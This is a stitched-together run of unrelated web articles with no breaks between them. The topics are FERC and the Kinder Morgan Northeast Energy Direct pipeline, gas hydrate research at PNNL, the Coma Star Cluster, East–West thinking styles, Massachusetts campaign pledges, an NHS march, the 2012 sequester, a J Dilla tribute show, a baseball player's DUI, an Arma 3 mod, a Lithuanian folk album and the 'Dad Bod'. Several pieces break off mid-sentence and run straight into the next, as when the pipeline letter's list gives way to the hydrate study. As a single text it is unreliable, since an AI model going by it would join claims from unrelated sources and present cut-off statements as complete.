Both Kinder Morgan and FERC were uneasy about having end-use retail customers – residential and business ratepayers – assume the costs of construction of the Northeast Expansion pipeline – now called Northeast Energy Direct. An email sent by a New Hampshire PUC energy expert to Commissioner Scott on January 30, 2014 stated, “Kinder Morgan’s biggest concern [about ratepayer-financing for building the pipeline] is sovereign risk – the ability of regulators (I guess in this case FERC) to change their minds and terminate the tariff [for ratepayer-funding of pipeline construction].”
As notes from a late January 2014 meeting between NESCOE representatives and FERC Commissioners indicate, FERC was indeed squeamish about the financial arrangement. During the briefing given by NESCOE to FERC Chairman Cheryl LaFleur, Commissioner Tony Clark, Commissioner Phillip D. Moeller and others, numerous questions were raised.
Chairman LaFleur was concerned that ratepayer funding could necessitate amending the Federal Power Act to legally authorize the electricity tariff for the gas pipeline. She also expressed concern that private investors in the marketplace were unwilling to fund the resources necessary for reliability.
Commissioner Tony Clark stated, “While I don’t want to shoot it down out of hand, it is not self evident that funding a pipeline through transmission rates [and paid by electricity consumers] comports with the Federal Power Act.” And a FERC staff member pointed out that the proposal was akin to building a railroad with electric rates to facilitate coal delivery to a coal plant. Despite these warnings, however, NESCOE and Kinder Morgan proceeded with the pipeline.
Will FERC Follow Its Own Directives for Pipeline Approvals?
Under the Natural Gas Act, no pipeline can proceed without FERC’s approval in the form of issuance of a Certificate of Public Convenience and Necessity. FERC’s “Statement of Policy” issued on September 15, 1999 sets forth standards for FERC to follow in deciding whether to grant a Certificate of Convenience and Necessity to a pipeline company applicant.
The Commission must consider “the enhancement of competitive transportation alternatives, the possibility of overbuilding, the avoidance of unnecessary disruption of the environment, and the unneeded exercise of eminent domain.” FERC requires separate examination of: 1) the impacts on landowners and surrounding communities; and 2) environmental impacts.
Elaborating on this, FERC states that if project sponsors who are proposing a new pipeline are able to acquire all, or substantially all, of the necessary right-of-way by negotiation prior to filing the application, and the proposal is to serve a new market, such a project would not need any additional indicators of need and may be readily approved if there are no environmental considerations.
But if a project did not acquire all or substantially all of the necessary right-of-way by negotiation, and there is widespread landowner opposition, would FERC deny the application for a Certificate of Public Convenience and Necessity? FERC does not say, but logically, such a project would need significant “additional indicators of need” and would NOT be “readily approved.”
In the case of the Northeast Direct pipeline, only “about half” of the 1,650 affected property owners have granted Kinder Morgan permission to survey their properties, according to Richard Wheatley, Kinder Morgan’s spokesman. Moreover, 28 of the 40 towns along the route have passed resolutions opposing the pipeline according to the web site, nofrackedgasinmass.org.
In addition, there are serious environmental impacts posed by the pipeline, which would, as currently planned, traverse numerous wetlands, forests, parklands, and lands held in trust. Moreover, methane leaks from natural gas production, processing and distribution are likely to gravely undermine the goals of the Massachusetts Global Warming Solutions Act.
Applying FERC’s standards to the Kinder Morgan project, the company will take about half (by its own estimate) of the needed land from landowners by eminent domain in judicial proceedings and the project will have serious, irreversible environmental impacts. If FERC were true to its policies, the pipeline would likely not meet muster.
However, FERC has virtually never turned down a pipeline applicant. In the words of a group promoting pipeline safety, called “Pipeline Safety Trust, “in a quick and not exhaustive check, we were unable to find a single FERC denial of an application for a Certificate of Public Convenience and Necessity for an interstate gas transmission line. The message is: FERC rarely denies an application.”
Data FERC recently submitted to Congress was provided by FERC spokesperson, Tamara Young-Allen, but is a bit murky: Since Oct. 1, 2006, FERC has received 803 applications for natural gas pipelines. Of those, Ms. Young-Allen said, 451 have been authorized, 94 are pending, two have been rejected outright because they did not meet FERC standards, and 250 have been denied or withdrawn. Ms. Young-Allen did not, however, have a breakdown of the 250 figure, although she noted that some pipeline projects are withdrawn when they fail to line up enough customers.
Massachusetts Re-Analysis
Early in August, it looked as if the pipeline had run into a snag.
Three members of the Global Warming Solutions Act Implementation Advisory Committee had quit abruptly in late July, feeling that their criticisms of the Governor’s energy package were being ignored.
“We’ve seen a reversion to outdated approaches when we know that there are other ways to meet our energy goals, ”said one of the three, Peter Shattuck, an official with Environment Northeast.
Another, George Bachrach, President of the Environmental League of Massachusetts said, “Governor Patrick has been moving these two projects – the natural gas pipeline and hydropower from Canada – relentlessly down the track.”
But after summer-long protests by townships, homeowners, and conservation groups culminated in a July 31 rally on Boston Common, Governor Deval Patrick suddenly stopped the train.
“We are updating the analysis” of the pipeline,” said Krista Selmi, spokesperson for the Massachusetts Executive Office of Energy and the Environment.
NESCOE issued a statement on August 1: “At today’s NEPOOL [New England Power Pool] meeting, NESCOE requested an extension of the current. NEPOOL schedule for consideration of proposed tariff mechanisms in connection with the Governors’ Infrastructure Initiative [so that] Massachusetts state officials [can] evaluate options…”
Kinder Morgan Pre-Filing
Massachusetts may be tapping the brakes on the pipeline, but that hasn’t slowed down Kinder Morgan. On September 15, Kinder Morgan filed a letter application with FERC requesting approval of its pre-filing process, which, according to the company, will allow it to identify and resolve environmental problems before it formally files an application for a Certificate of Public Convenience and Necessity.
The pipeline project has reached agreement with key local natural gas distribution companies throughout New England to transport approximately 500 MMcf/d of long-term firm transportation on the Northeast Energy Direct Project. These include the Berkshire Natural Gas Company, Columbia Gas of Massachusetts, Connecticut Natural Gas Corporation, Liberty Utilities Corp., National Grid, and Southern Connecticut Gas Corporation.
“Kinder-Morgan is also continuing negotiations with other potential shippers and customers,” said Mr. Richard Wheatley, spokesman for Kinder Morgan.
The Company also acknowledges in its pre-filing application that some potential end-use customers transporting gas may be liquid natural gas exporters.
In its Pre-Filing Application, Kinder Morgan included the Northeast Energy Direct Project Timeline, which appears below. Moreover, the Pre-filing includes a document, with topographical maps, describing county-by-county impacts of the Project. This can be found on the web site No Fracked Gas in Mass.org under “latest news and blogs.” All other Northeast Energy Direct Pre-Filing documents can also be found on the web site as well as information on how to use FERC’s web site.
Which New England states will continue to proceed with the pipeline, and which states will, rather, commit to alternatives – energy efficiency measures, demand reduction, renewable fuels, and adjustments in existing market practices – to make up the energy shortfall on peak winter days and to lower New England’s high energy prices? It is clear that if the pipeline proceeds, it will be infrastructure that endures for generations. Moreover, the availability of natural gas from the pipeline will almost certainly undercut efforts to develop and market alternatives to fossil fuels.
On August 14, Maine’s Republican Governor, Paul LePage, fired off an angry missive to Governor Deval Patrick, saying, “It has come to my attention that the Commonwealth of Massachusetts has decided not to continue additional gas capacity for New England. “This is a colossal mistake.”
Kinder Morgan subsequently announced in a September 17 news release: “Tennessee Gas Pipeline Company Files Historic Natural Gas Capacity Proposal to Benefit the State of Maine and its Consumers.” The announcement cited the Maine Energy Cost Reduction Act as authority for the Maine PUC to execute a contract for up to 200 million cubic feet per day of pipeline capacity for up to 20 years.
With regard to the NESCOE effort, the Company’s president for East Region Natural Gas Pipelines, Kimberly Watson, stated, “Although a regional effort among the six New England governors to arrange for large regional purchases of gas pipeline capacity has stalled, this contract, which benefits the state of Maine, will fit seamlessly with the commendable regional effort of the governors. We hope that effort continues.”
Heather Hunt, Executive Director of NESCOE, made a presentation on September 8 called “Energy in the Northeast,” for Law Seminars International. The agenda for the meeting included the subtitle: “Potential use of electricity tariff [collected from ratepayers] for natural gas pipeline cost recovery.”
In the power point presentation – a blistering, data-filled defense of NESCOE’s past activities on the pipeline – Ms. Hunt said, regarding future actions, “State officials are talking to each other to explore ways forward on regional solutions,” but “Massachusetts is conducting a study of Massachusetts state-level solutions in light of its state policies.”
On September 25, NESCOE gave the same presentation to the United States Department of Energy’s Electricity Advisory Committee.
Meanwhile, on September 16, Maeve Vallely Bartlett, Secretary of the Massachusetts Office of Energy and Environmental Affairs, sent a strong letter to the Secretary of the Federal Energy Regulatory Commission in Washington, D.C. In summary, Ms. Bartlett stated that the interests of the Commonwealth include:A Pacific Northwest National Laboratory computation suggests that the water-gas compounds found in ocean permafrost can provide energy and store it, too – and then trap carbon dioxide.
Hydrates are icy water-gas compounds abundant in ocean permafrost. They can hold numerous gases such as hydrogen, methane and nitrogen, a Pacific Northwest National Laboratory (PNNL) team’s supercomputer analysis of millions of molecular configurations reveals. Knowing the structure and molecular mechanisms of clathrates, the cage-like water molecules in compounds that host the gases, may help researchers find a feasible way to use hydrogen as an alternative fuel-storage system.
What’s more, the study suggests a mechanism governing how gas molecules hop between adjacent cages. A possible application for exploiting this feature: extracting methane from the hydrates and replacing it with carbon dioxide in a Davy Jones’ locker scenario to remove and safely store the potent greenhouse gas. The study took more than six months on Hopper, the Cray supercomputer at DOE’s National Energy Research Scientific Computing Center (NERSC).
Gas hydrates, long known to form at high pressures in deep ocean fossil fuel pipelines, were suspected as one culprit that complicated attempts to mend the Deepwater Horizon oil spill in 2010. At low pressure – Earth’s surface, say – methane hydrates are unstable and can be lit like an icy match, burning methane on the top as water drips at the bottom.
Researchers and entrepreneurs have begun to notice hydrates’ potential environmental applications.
“There is at least one large-scale effort by a company in Norway to take the methane out of these systems in the bottom of the ocean and try to pop carbon dioxide in there,” says PNNL Laboratory Fellow Sotiris Xantheas, who collaborated on the study with PNNL post-doctoral fellow Soohaeng Yoo Willow. “Take the gas out, use it as fuel for energy and fill the empty scaffold with CO2. You get double the benefit.”
Until Willow and Xantheas’ study, there had been scant information about how guest molecules like hydrogen interact inside clathrates’ hollow cages. Building on previous work, the team already had three-dimensional models of lattices made from cages of 20, 24 and 28 water molecules.
The model used for the study was made with 20 and 24 molecules. X-ray crystallography spelled out the oxygen atoms’ positions, and the team’s previous work suggested efficient ways to place hydrogen atoms in the lattice.
Imagine the clathrates’ cage of 20 water molecules as a soccer ball, Xantheas says. Because these are water molecules, 20 oxygen atoms on the surface means there must also be double that number – 40 – hydrogen atoms. “For the larger hollow cages comprised of 24 and 28 water molecules, there are millions of combinations you can do, and we figured out the most efficient ways and used numerous combinations in our simulations,” he says.
(Visited 1,606 times, 1 visits today)Melotte 111 - Mel 111 - The Coma Star Cluster (Open Cluster)
Although Coma Berenices is a small constellation it does contain one of the densest concentrations of galaxies in the sky. However, its most outstanding feature is not a galaxy but an extremely large and loose naked eye open cluster, called Melotte 111 or the Coma Star Cluster. In total, Melotte 111 contains about 50 stars spread over 6 degrees of apparent sky. It's located 280 light-years from Earth.
Although conspicuous and easily visible to the naked eye, the cluster was not included in either the Messier or NGC / IC catalogues. This was due to its loose nature, large apparent size and unproven status as a genuine open cluster. It was in 1938 when Swiss-American astronomer Robert J. Trumpler first identified 37 stars as members and therefore established its true nature. Before that in 1915, British astronomer Philibert J. Melotte included the object as number 111 in his catalogue of star clusters, hence the name Melotte 111 or Mel 111.
Finder Chart for Melotte 111 - pdf format (credit:- freestarcharts)
Melotte 111 is located on the southern side of star gamma Comae Berenices (γ Com - mag. +4.35). This star appears to be a cluster member, but is actually a foreground star at 170 light-years distant. The group's brightest stars are all of 5th magnitude, including 12,13,14,16 and 21 Comae Berenices. The Coma Star Cluster is of the finest regions of the sky for scanning with binoculars. The brightest stars making out a distinctive V shape. With 7x50 models it fits nicely into the field of view, but with 10x50's it may well over-spill. Telescopically it doesn't show much, but for binocular observers this is a gem of an open cluster.
Melotte 111 is the second nearest open cluster to the Earth after the Hyades in Taurus (153 light-years). It's best seen from northern latitudes during the months of March, April and May.
Melotte 111 Data TableTHAT orientals and occidentals think in different ways is not mere prejudice. Many psychological studies conducted over the past two decades suggest Westerners have a more individualistic, analytic and abstract mental life than do East Asians. Several hypotheses have been put forward to explain this.
One, that modernisation promotes individualism, falls at the first hurdle: Japan, an ultra-modern country whose people have retained a collective outlook. A second, that a higher prevalence of infectious disease in a place makes contact with strangers more dangerous, and causes groups to turn inward, is hardly better. Europe has had its share of plagues; probably more that either Japan or Korea. And though southern China is notoriously a source of infection (influenza pandemics often start there), this is not true of other parts of that enormous country.
Get our daily newsletter Upgrade your inbox and get our Daily Dispatch and Editor's Picks.
That led Thomas Talhelm of the University of Virginia and his |
The Democratic mayor — who is considering and reportedly fundraising for a campaign against Massachusetts Gov. Charlie Baker — echoed Sen. Elizabeth Warren’s call last week to bring back the so-called “people’s pledge,” which was first brokered in 2012 during her race against Republican incumbent Sen. Scott Brown.
“If the People’s Pledge was good enough for Elizabeth Warren and Scott Brown, it should be good enough for people running for governor,” Setti Warren said in a statement Tuesday.
Advertisement
Warren cited a study by the progressive advocacy group Common Cause that found the pledge “drastically reduced outside spending” in the 2012 Massachusetts race compared to other races at the time. The 2013 study also found that the agreement increased the influence of small-dollar donations and resulted in “significantly less negative advertising” (even if the 2012 campaign did become notably ugly).
Nevertheless, Warren said Tuesday that the pledge — which requires candidates who benefit from outside advertising to pay a penalty — would “keep anonymous millionaires and billionaires from rigging the 2018 elections in Massachusetts.”
“We know that the ground-breaking agreement brokered between Scott Brown and Sen. Warren in 2012 worked then and it will work now,” he said.
Warren said he would call for the pledge in both the gubernatorial Democratic primary and the general election. So far, Democrat Jay Gonzalez, a former budget aide for Gov. Deval Patrick, is the only person to officially announce their candidacy in the 2018 gubernatorial race.
In a statement Tuesday evening, Gonzalez decried the increase in outside spending since the 2010 Citizens United court decision and said he supports measures to “make government more accessible and responsive to all.”
“Once there are other declared candidates for Governor to talk to about the best way to limit dark money from influencing the Governor’s race, I intend to talk to them,” Gonzalez said.
Advertisement
Asked about Warren’s calls for a people’s pledge, Massachusetts Republican Party spokesman Terry MacCormack reiterated Tuesday that neither Baker nor Lt. Gov. Karyn Polito had yet made any announcements regarding their intention to seek re-election.
“They remain focused on leading an accountable, efficient and responsive state government,” MacCormack said.
In 2012, Elizabeth Warren and Brown agreed that, if either benefited from outside advertising, said candidate would have to donate a penalty worth half the value of the ad to a charity of the other’s choosing. Brown twice agreed to pay a penalty after third-party groups ran ads in favor of his campaign.
During the 2014 gubernatorial race, Baker rebuffed calls from then-Attorney General Martha Coakley, his Democratic opponent, for a people’s pledge. Baker went on to receive more than $11 million in outside spending (mostly from the Republican Governors’ Association), compared to $6.9 million received by Coakley, en route to winning the election.
According to Tuesday’s filing with the state Office of Campaign and Political Finance, Warren has just over $58,024 in his campaign account. Last November, he announced he would not seek a third term as mayor of Newton.
Gonzalez has more than $116,864 on-hand for his gubernatorial bid, per his most recent filing Monday.
According to a campaign filing Monday, Baker has more than $5.2 million.Image copyright AFP
Tens of thousands of people - including NHS workers, campaigners and union representatives - have marched in London to protest against "yet more austerity" in the health service.
Protesters on the #OurNHS march wanted to draw attention to plans which could see hospital services in nearly two-thirds of England cut back.
Union leaders say many NHS services "are on their knees".
The Department of Health says it is investing an extra £4bn in the NHS.
Organisers say that "at least 250,000" people took part in the march, which began in Tavistock Square and ended in Westminster, where speakers including Labour leader Jeremy Corbyn addressed the crowd.
There is no official estimate of the numbers who took part.
Media playback is unsupported on your device Media caption Aerial footage shows thousands of people filling Parliament Sq
Mr Corbyn called for the government to provide more funding for the health service in next week's Budget.
Speaking to the protesters in Parliament Square, he said: "The NHS is in crisis, in crisis because of the underfunding in social care and the people not getting the care and support they need.
"It is not the fault of the staff. It is the fault of a government who have made a political choice."
The protest organisers say the government's proposed Sustainability Transformation Plans (STPs) across the NHS in England are a "smokescreen for further cuts" and the "latest instruments of privatisation".
These proposals involve the complete closure of some hospitals and the centralising of some services such as A&E and stroke care on fewer sites.
Image copyright Reuters Image caption Labour leader Jeremy Corbyn addressed the crowd in Parliament Square
Last month the BBC revealed that hospital services in nearly two-thirds of England could be cut or scaled back.
NHS England said the money saved from hospital budgets would be reinvested into community services.
An NHS spokesman added that although budgets were increasing, they were not keeping pace with demand.
He added: "NHS leaders want to redirect resources in some cases to try and make the money go further."
Media playback is unsupported on your device Media caption Nurses, a teacher, and a writer explain why they joined the march
Unite leader Len McCluskey tweeted from the protest, saying: "I'm marching because I am furious. Tories destroying the greatest gift the people of this country have created #SaveOurNHS."
The union says "hospitals, GPs, mental health, ambulance and community services are on their knees".
A Department of Health spokesperson said: "We are committed to the NHS which is why we're investing £10bn in its own plan for the future, including £4bn extra this year to transform services and improve standards of care."
The Conservative Party and Downing Street have been approached for comment.
Deputy chairman of the British Medical Association council Dr David Wrigley said the march was "a cry for help for anyone who uses the NHS" which was "in such a desperate situation".
"We need to highlight it. As a doctor I see day to day the serious pressures in the NHS due to the funding cuts from the government," he said.
Campaigner Dr Ben White tweeted: "#OurNHS sees you from the cradle to grave, with or without insurance. Sadly we must now fight to keep it that way."
Image caption About 150 coaches are thought to have brought protesters from across the country to the march in London
From the scene: Richard Lister, BBC News
They arrived by the bus load this morning; 150 coaches brought protesters from across England and Wales.
They set off from Tavistock Square - some blew whistles, some chanted, one man was dressed as a "therapy dog" for overworked NHS staff.
Most are carrying "#OurNHS" placards; others said "Dump Trump", "No to racism" and "Migrants make our NHS".
One of the organisers, John Rees, told me Brexit had consumed much of the "oxygen of debate" in recent months but the NHS was rising up the national agenda again.
London-based nurses Sebastian Birch and Danny Goddard told me problems had mounted under Labour and Conservative governments, to the point where they now see the crisis as a "social welfare issue" not just one of healthcare funding.Ms. Murray worked with Senator John McCain, Republican of Arizona, to pass an amendment to the farm bill that would compel the Office of Management and Budget and the Department of Defense to deliver a report on the impact of all of the planned reductions. The fact that Congress might have to force the Obama administration to detail where budgets would be sliced underscores one of the main reasons that so little attention has been turned to the impending cuts to nonmilitary programs.
The White House — along with some top Democrats — has concluded that Republicans care so deeply about the roughly $492 billion in planned Pentagon cuts that the military budget will become a bargaining chip that Democrats can use at the end of the year to pursue new revenues and leverage in the debate over extending the Bush tax cuts.
Photo
While Democrats are no more fond of the cuts than Republicans are — especially the roughly 8 percent cuts to various programs they cherish in the first year — many believe the reductions are less painful than any agreement they could reach with Republicans toward deficit reduction in the current political climate.
“Congress should do its job and pass a balanced plan for deficit reduction,” Kenneth Baer, a spokesman for the administration budget office, said in an e-mail. He added: “There is time for Congress to act, and we hope that it will. Should it get to a point where it appears that Congress will not do its job and the sequester may take effect, we will be prepared.”
The Pentagon and those who service it — largely military contractors — have been a loud, unified voice, pressuring members of Congress about the cuts and their potential impact on local economies.
This month, for example, a group of executives from the Northrop Grumman Corporation met with members of the Connecticut delegation to announce that they were closing a plant in Norwalk and laying off 315 workers in part because of the impending sequester, said a person who attended the meeting but could not be identified speaking publicly about it. (A spokeswoman for the company declined to comment on the meeting.)
Defense Secretary Leon E. Panetta has come to Capitol Hill more than once to complain about the cuts, and Republicans have offered several bills, including one that has passed the House, to undo sequestration. Members hammer the issue daily; the House Armed Services Committee has devoted its entire Web home page to the issue.
Advertisement Continue reading the main story
In contrast, the cuts to nonmilitary programs would be spread across scores of industries and groups, few of which have coalesced in a similar manner. While some administration officials have testified that the cuts would be harmful to government programs, few lawmakers have seized on their remarks and run with them.
There is an effort under way to write a letter to members of Congress from leaders of various groups, and the Coalition for Health Funding is trying to build awareness of the cuts through town hall meetings and other gatherings. “This is really a ‘Hey, what about us?’ effort,” said Emily J. Holubowich, the group’s executive director.
Further, because certain programs like Social Security and Veterans Affairs have been exempt from the cuts, there is a feeling among some Democrats that they have less at risk than Republicans defending Pentagon cuts. Republicans find that view baffling.
Photo
“I guess they think it’s O.K.,” said Senator Lindsey Graham, Republican of South Carolina, who said he believed cuts to both types of spending would be devastating.
“There is political pain and substantive pain” in the cuts to nonmilitary spending, said Richard Kogan, a senior fellow at Center on Budget and Policy Priorities, a left-leaning research group, who noted that roughly a quarter of those cuts would affect Americans at or below the poverty line.
“When people start saying, ‘This means you’re going to cut the National Cancer Institute or air traffic control or the F.B.I. or Border Patrol by 8.4 percent, those little phrases can ring bells with the American public.”
Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content, updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters.
According to the groups’ research, a portion of nonmilitary discretionary monies are in grants to states and local governments, including education programs, law enforcement and fire departments.
“I voted against the deal for those reasons,” said Senator Kirsten E. Gillibrand, Democrat of New York. “I think those cuts would be devastating for New York.”
A recent report prepared by the Bipartisan Policy Center found that the sequester cuts in total could reduce the gross domestic product in the United States by roughly half a percentage point in 2013.
Advertisement Continue reading the main story
The end game for Democrats, according to half a dozen aides, is to wait for Republicans to become excessively nervous about large Pentagon cuts and start their bargaining to undo the entire package from there.
For example, Democrats would like to end the Bush-era tax cuts for high earners, close tax loopholes for some companies and other revenue measures.
“I imagine you will hear more about all of these things as we get closer,” Senator Bob Casey, Democrat of Pennsylvania.Hi. We recently created AFH TV, Ambrosia For Heads’ streaming video service, because we believe real Hip-Hop deserves its own dedicated TV home, but we need your help to make it great. Please subscribe to AFH TV. It is only $1.99/month or $12/year, and already features some amazing content, but the best is yet to come. Thank you for all of your support.
Hi. We recently created AFH TV, Ambrosia For Heads’ streaming video service, because we believe real Hip-Hop deserves its own dedicated TV home, but we need your help to make it great. Please subscribe to AFH TV. It is only $1.99/month or $12/year, and already features some amazing content, but the best is yet to come. Thank you for all of your support.
It’s been more than 9 years since Hip-Hop lost J. Dilla. Each year in February, Heads celebrate the late great producer and the tributes have extended from Dilla Day to Dilla Weekend. For Yasiin Bey (pka Mos Def), however, who was fortunate enough to be the beneficiary of some of Dilla’s beats, the celebration of Jay Dee is not limited to one month of the year.
For one night only in June (6/11/15), Bey will take the stage at London’s Indigo @ The O2 to perform a show where he raps over nothing but Dilla’s classic tracks. In a statement released by Soundcrash, who is presenting the show, the company stated “Mos Def’s respect within the Hip-Hop world is of great distinction. He has worked with De La Soul, Kanye West, Madlib, Talib Kweli and The Roots. Yasiin Bey himself has been responsible for bringing some of Dilla’s work to light after the producer’s death, notably using his beats on Mos Def tracks ‘History’ (2009) and ‘Sunshine Screwface’ (2012). Bey’s understanding of the life and work of [James] Yancey leaves him as the ideal candidate to lead a celebration of an extraordinary musician’s life at The O2’s Indigo.”
For those fortunate enough to be in the London area on that night in June, tickets go on sale for the event at 10am (likely London time) Friday (5/1) here.
Related: Raise It Up: Grasping The Entire Greatness Of J Dilla In Retrospect (Food For Thought)Advertisement Royals Pitcher Danny Duffy charged with DUI after Sunday incident Police confirm the incident happened in the 136th block of Metcalf. Share Shares Copy Link Copy
Kansas City Royals Pitcher Danny Duffy has been charged with Driving Under the Influence after an incident Sunday.Overland Park Police confirm the incident happened Sunday evening in the 136 block of Metcalf Avenue. Witnesses said the incident happened at a Burger King in the area. Employees said a man, identified as Danny Duffy, ordered his food, then pulled around to pay - but when the time came to pull up and pick up the food, the vehicle never pulled up. Employees went to check on the driver and found Duffy passed out in the driver's seat of the vehicle.Employees reportedly struggled to get Duffy to wake up. Eventually someone called police who responded and ticketed Duffy. Duffy is scheduled to appear in court for an arraignment on September 19th.This incident comes after a 12-0 loss to Cleveland earlier in the day. Kansas City Royals Manager Dayton Moore said the team was on the road that day, however, Duffy stayed behind for an MRI examination. The team says they do not condone anyone driving under the influence. They are early in the stages of gathering information on the incident and say this is now a legal matter.Statement from Dayton Moore:“We are obviously disappointed in the news we have received regarding Danny Duffy’s DUI arrest on Sunday night. Danny was not part of the team traveling back from Cleveland on Sunday because he had returned to Kansas City a day earlier to undergo an MRI examination. We are still in the early stages of gathering the details, but I do know that Danny has always been accountable as a member of this organization and weexpect the same accountability from him as this process moves forward. We obviously do not condone anyone driving while under the influence, but this is now a legal matter and we will allow the process to unfold and cannot comment any further.”Watch the full news conference with Danny Duffy and Dayton Moore HERE:Arma 3 just got real. More realer. Incrementally more realismistic than it was just hours ago.
Three Arma 3 modding teams are merging to create the next iteration of Advanced Combat Environment, ACE3, a close-to-comprehensive rework of Arma 3’s systems and features. ACE has been a mainstay of hardcore Arma for years, it’s essentially the platform that groups like Shack Tactical use as the foundation for their “serious fun” style of play.
I asked ShackTac founder Dslyecxi what excited him about the ACE3 announcement, and he rattled off: “Consolidation of talent, open-source, modular, top devs, that sort of thing. I have confidence they'll deliver a quality product.” Given the history of stuff like Black Mesa, any uber-ambitious modding project gives us a bit of pause even as we applaud its lofty goals. ACE’s track record is excellent, though. And despite the long feature list, the way its announcement is tempered with focus is encouraging. “We are devoted to NOT reinventing the wheel, finding the best solutions, and bringing them to one place, while also fostering a development environment that promotes stability and performance,” developer NouberNou writes on the Arma 3 official forums.
Noubernou says that ACE3’s “initial release goals” will be made playable following Bohemia’s release of the Arma 3 Marksmen DLC. Below, a list of planned features from the team. If you missed it, check out the winners of Bohemia's Make Arma Not War modding competition.
Core features
Completely new 3D Interaction/Action System
Performance and reliability framework
Focus on modularity and customization
New flexible client and server settings & configuration
Improved medical system with various levels (Basic/Advanced) focus on gameplay/realism
Proper & consistent network synced weather
Wind and Weather Advanced Ballistics
Captivity System
Explosives System including different trigger types
Map screen improvements, marker placement and map tools
Advanced missile guidance and laser designation
Additional featuresWhen you are from a Baltic culture which has miraculously survived centuries of onslaught and foreign domination, it is hardly fair that you should have to remind the world of your existence. Yet, this is exactly the frustrating position Lithuanians find themselves in when confronted with topographical illiterates. It is a cruel fate, indeed, that all ancestral efforts to preserve their distinct culture seem to have culminated in the obligation to explain to yet another foreigner that Lithuania is not, in fact, a province of Russia, nor a nebulous African dictatorship for that matter.[*]
There is, fortunately, a lingua franca that may assist in revealing the finer aspects of one’s culture. This universal language is not English, but art. And music, in its turn, is perhaps its most widely understood dialect. It is also a powerful dialect: musicians who tap into their own cultural roots thrive on centuries’ worth of native artistic beauty—beauty which helped his forebears persevere through the most desperate epochs of history. The folk artist is therefore the noblest of bards; it is through them that a culture’s traits and quirks are monumentalised in a time when Lady Europe is forced into a corset of postmodern meaninglessness.
In the case of the Baltics, an example of such noble artists are the members of Spanxti—a band from the Lithuanian capital of Vilnius. Their album Dievo žirgai, laimės ratai (EN: God’s Horses, Wheels of Happiness) combines the exploration of Baltic music traditions with savvy pacing, music-writing, and production, all of which makes it appealing to even those audiences who are not necessarily charmed by the traditional side of folk music.
Album opener “Leliumai” treads on with foreboding patience as a keyboard provides an ambient undercurrent through which singer Ingula Rinkevičienė first reveals herself. Though she is a competent singer on a technical level, it is the warmth, depth, and all-around pleasant tone of voice that make her vocals stand out. This first track also establishes that, with her voice, Rinkevičienė is able to cover a large emotional spectrum: while the inaugural broodiness of the composition calls for a placid, restrained vocal delivery, other instruments (violins, guitars, percussion) eventually join in and evoke a more extravert, commanding voice.
Throughout the rest of the album, the overall mood keeps evolving seamlessly, and Ingula Rinkevičienė adapts likewise. While the songs have many different themes and correspondingly diverse melodies, not a single song appears out-of-place. This is no light achievement: lamentative songs such as ‘Aš pas savo giminėlę’ and the aforementioned album opener can coexist with the more festive ‘Pas leišius alaus gert’ and ‘Oi ką kalba apynėlis’ only at the grace of the consistent aptitude of the musicians, as well as the depth of the compositions which they perform.
Though the aid of standard acoustic guitars, keyboards, and other non-traditional instruments may hint towards neofolk, Spanxti’s music should rather be viewed as a novel incarnation of traditional folk. The lyrics have been lifted from old ritualistic proclamations, and the music—in spite of its strong modern seasoning—is merely meant to accompany said texts and convey the imperishable spirituality and history contained therein. In this light, band leader Vytautas Rinkevičius‘s declaration that Spanxti represents, ‘a creative approach to Baltic mythology and spiritual culture in general’, makes all the more sense.
Dievo žirgai, laimės ratai succeeds because it offers plenty of diversity without spinning out of control. Even after a dozen listens, faults scarcely reveal themselves: while some compositions (the energetic ‘Už kalnelio ežerėlis’) stand out more than others (the brief a cappella ‘Palaukėj pamiškėj’), it would go too far to state there are glaringly dull moments contained within this forty-seven-minute listening experience. As a result, Spanxti has managed to deliver not only a great album, but also a worthwhile cultural document. Dievo žirgai, laimės ratai imparts the beauty of a tiny nation’s heritage and the Baltic musical tradition at large, and can henceforth be used by Lithuanians worldwide to culturally enrich oblivious foreigners—no matter in which part of the United States they might be encountered.
*Both of these examples reflect real experiences of an unreasonably patient Lithuanian friend.
Sources:
________________________________________________
Track List:
01) Leliumai
02) Saulė Rieda Dangumi
03) Už Kalnelio Ežerėlis
04) Gailia Gailiai Zylė Verkė
05) Palaukėj Pamiškėj
06) Aš Pas Savo Giminėlę
07) Pas Leišius Alaus Gert
08) Jūs Mano Kūmužėliai
09) Oi Ką Kalba Apynėlis
Written by: Degtyarov
Label: Dangus (Lithuania) / DGCD037 / CD
Folk / Neofolk / Baltic FolkEvery woman has been asked, at one time or another, "What's your type?" Sure, this could be a sneaky segue into a long conversation about astrology, but more often than not, the question is about preferred physical characteristics: Do you like guys with brown or blond hair? Do you go for big shoulders over big arms? What's the body you really desire?
When it comes to bodies, thankfully the sea is full of diverse fish: Shaq-tall, Dudley Moore-short, Hugh Jackman-ripped, Jimmy Stewart-slim, and everything in between. Now there's even a new classification for women who seemingly crave a mixed bag: the Dad Bod. Not exactly fat, but definitely not slim. Defined more by inaction than action, with a pudgy tummy that threatens to blossom into a grown-up beer belly. Sure, the arms and legs work, but they're nothing to write home about.
Basically, a Dad-Bod guy looks like he might have been a jock in high school, but the minute he graduated, he discovered he really loved beer, traded in his cleats for some flip flops, and forgot what he learned growing up: everything in moderation, your health is your most important investment, and your body is a temple. Now that temple is a little round and pillowy, much like the couch he kicks back on.
The Sad Truth About Dad Bod
I have always been a big fan of men in pretty much all shapes and sizes, so I'd never expect every man to be a fitness model or bodybuilder. However, the sad truth is that the Dad Bod is often just a seed waiting to sprout man boobs, flabby arms, and a laundry list of potential health problems. If you're a 20-something guy with a modest Dad-Bod gut, those love handles will become a full-fledged inner tube by the time middle age beats down your door. If you're packing an extra 20-30 pounds at 25, and you plan to maintain the same lifestyle, just imagine yourself two decades later.
You'd like to think your metabolism is going to stay as fine-tuned as a Ferrari 458—hell, I'd like it if my breasts would stop their determined southbound march—but your fantasy probably won't come true, especially without consistent exercise, attention to nutrition, and physical activity. "There's time to exercise tomorrow," you might think, or "My diet starts Monday," but those good intentions have a tendency to pile up like extra inches on your stomach.
I know it's hard to believe that one day you could relate more to Hank Hill than Bobby, but trust me, it can happen! The years fly by and you can get sucked into a dizzying vortex of work, kid-wrangling, lawn-mowing, and bill-paying. Before you know it, jeans with an elastic waistband won't seem all that ridiculous anymore, and you might even have a hard time climbing the stairs or playing with your kids.
